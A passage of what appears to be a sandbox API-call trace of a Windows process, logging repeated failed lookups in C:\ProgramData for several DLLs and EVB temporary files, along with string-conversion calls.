lpWideCharStr="EVB19826.TMP⛜vよt☘E\x18") returned 12 [0092.222] CharLowerBuffW (in: lpsz="EVB19826.TMP", cchLength=0xc | out: lpsz="evb19826.tmp") returned 0xc [0092.222] FindFirstFileW (in: lpFileName="c:\\programdata\\evb19826.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A翴uA((")) returned 0xffffffff [0092.223] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.223] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\down64.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\down64.dll\\") returned 0x2f [0092.223] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.223] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.223] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.224] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\down64.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\down64.dll\\") returned 0x2c [0092.224] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.224] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0092.224] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dlllume1", lpUsedDefaultChar=0x0) returned 10 [0092.224] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.224] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.224] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.225] CharLowerBuffW (in: lpsz="exma-1.dll", cchLength=0xa | out: lpsz="exma-1.dll") returned 0xa [0092.225] CharLowerBuffW (in: lpsz="c:\\programdata\\exma-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\exma-1.dll") returned 0x19 [0092.225] CharLowerBuffW (in: lpsz="c:\\programdata\\exma-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\exma-1.dll") returned 0x19 [0092.225] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exma-1.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exma-1.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.226] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.226] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.226] GetLastError () returned 0x12 [0092.226] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.226] FindFirstFileW (in: lpFileName="c:\\ProgramData\\exma-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.226] GetLastError () returned 0x2 [0092.226] CharLowerBuffW (in: lpsz="c:\\ProgramData\\exma-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\exma-1.dll") returned 0x19 [0092.227] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exma-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exma-1.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.227] CharLowerBuffW (in: lpsz="c:\\programdata\\exma-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\exma-1.dll") returned 0x19 [0092.227] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exma-1.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exma-1.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.227] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.227] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.228] GetLastError () returned 0x12 [0092.228] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.228] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\exma-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.228] GetLastError () returned 0x2 [0092.228] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\exma-1.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\exma-1.dll") returned 0x16 [0092.228] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exma-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exma-1.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x460fc4, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB33F52.TMP⛜vよt☘E\x18") returned 12 [0092.229] CharLowerBuffW (in: lpsz="EVB33F52.TMP", cchLength=0xc | out: lpsz="evb33f52.tmp") returned 0xc [0092.229] FindFirstFileW (in: lpFileName="c:\\programdata\\evb33f52.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A臬uA((")) returned 0xffffffff [0092.229] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.229] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\") returned 0x2f [0092.230] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.230] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.230] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exma-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exma-1.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.230] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\exma-1.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\exma-1.dll\\") returned 0x2c [0092.230] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.231] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0092.231] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exma-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exma-1.dlllume1", lpUsedDefaultChar=0x0) returned 10 [0092.231] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.231] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.231] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.231] CharLowerBuffW (in: lpsz="libeay32.dll", cchLength=0xc | out: lpsz="libeay32.dll") returned 0xc [0092.231] CharLowerBuffW (in: lpsz="c:\\programdata\\libeay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\libeay32.dll") returned 0x1b [0092.231] CharLowerBuffW (in: lpsz="c:\\programdata\\libeay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\libeay32.dll") returned 0x1b [0092.232] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libeay32.dll", cchWideChar=12, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libeay32.dllr45w", lpUsedDefaultChar=0x0) returned 12 [0092.232] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.232] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.232] GetLastError () returned 0x12 [0092.232] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.232] FindFirstFileW (in: lpFileName="c:\\ProgramData\\libeay32.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.232] GetLastError () returned 0x2 [0092.233] CharLowerBuffW (in: lpsz="c:\\ProgramData\\libeay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\libeay32.dll") returned 0x1b [0092.233] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libeay32.dll", cchWideChar=12, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libeay32.dllme1", lpUsedDefaultChar=0x0) returned 12 [0092.233] CharLowerBuffW (in: lpsz="c:\\programdata\\libeay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\libeay32.dll") returned 0x1b [0092.233] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.233] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.233] GetLastError () returned 0x12 [0092.233] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.234] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\libeay32.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.234] GetLastError () returned 0x2 [0092.234] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\libeay32.dll", cchLength=0x18 | out: lpsz="c:\\progra~3\\libeay32.dll") returned 0x18 [0092.234] CharLowerBuffW (in: lpsz="EVB0A7FF.TMP", cchLength=0xc | out: lpsz="evb0a7ff.tmp") returned 0xc [0092.234] FindFirstFileW (in: lpFileName="c:\\programdata\\evb0a7ff.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A皬uA((")) returned 0xffffffff [0092.234] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.234] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\", cchLength=0x31 | out: lpsz="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\") returned 0x31 [0092.234] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\libeay32.dll\\", cchLength=0x2e | out: lpsz="\\device\\harddiskvolume1\\progra~3\\libeay32.dll\\") returned 0x2e [0092.234] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.234] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.234] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.234] CharLowerBuffW (in: lpsz="libxml2.dll", cchLength=0xb | out: lpsz="libxml2.dll") returned 0xb [0092.234] CharLowerBuffW (in: lpsz="c:\\programdata\\libxml2.dll", cchLength=0x1a | out: lpsz="c:\\programdata\\libxml2.dll") returned 0x1a [0092.234] CharLowerBuffW (in: lpsz="c:\\programdata\\libxml2.dll", cchLength=0x1a | out: lpsz="c:\\programdata\\libxml2.dll") returned 0x1a [0092.234] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.235] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.235] GetLastError () returned 0x12 [0092.235] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.235] FindFirstFileW (in: lpFileName="c:\\ProgramData\\libxml2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.235] GetLastError () returned 0x2 [0092.235] CharLowerBuffW (in: lpsz="c:\\ProgramData\\libxml2.dll", cchLength=0x1a | out: lpsz="c:\\programdata\\libxml2.dll") returned 0x1a [0092.235] CharLowerBuffW (in: lpsz="c:\\programdata\\libxml2.dll", cchLength=0x1a | out: lpsz="c:\\programdata\\libxml2.dll") returned 0x1a [0092.235] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.235] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.235] GetLastError () returned 0x12 [0092.235] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.235] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\libxml2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.235] GetLastError () returned 0x2 [0092.235] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\libxml2.dll", cchLength=0x17 | out: lpsz="c:\\progra~3\\libxml2.dll") returned 0x17 [0092.235] CharLowerBuffW (in: lpsz="EVBBD47B.TMP", cchLength=0xc | out: lpsz="evbbd47b.tmp") returned 0xc [0092.236] FindFirstFileW (in: lpFileName="c:\\programdata\\evbbd47b.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A臬uA((")) returned 0xffffffff [0092.236] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.236] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\", cchLength=0x30 | out: lpsz="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\") returned 0x30 [0092.236] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\libxml2.dll\\", cchLength=0x2d | out: lpsz="\\device\\harddiskvolume1\\progra~3\\libxml2.dll\\") returned 0x2d [0092.236] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.236] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.236] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.236] CharLowerBuffW (in: lpsz="posh-0.dll", cchLength=0xa | out: lpsz="posh-0.dll") returned 0xa [0092.236] CharLowerBuffW (in: lpsz="c:\\programdata\\posh-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\posh-0.dll") returned 0x19 [0092.236] CharLowerBuffW (in: lpsz="c:\\programdata\\posh-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\posh-0.dll") returned 0x19 [0092.236] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.236] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.236] GetLastError () returned 0x12 [0092.236] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.237] FindFirstFileW (in: 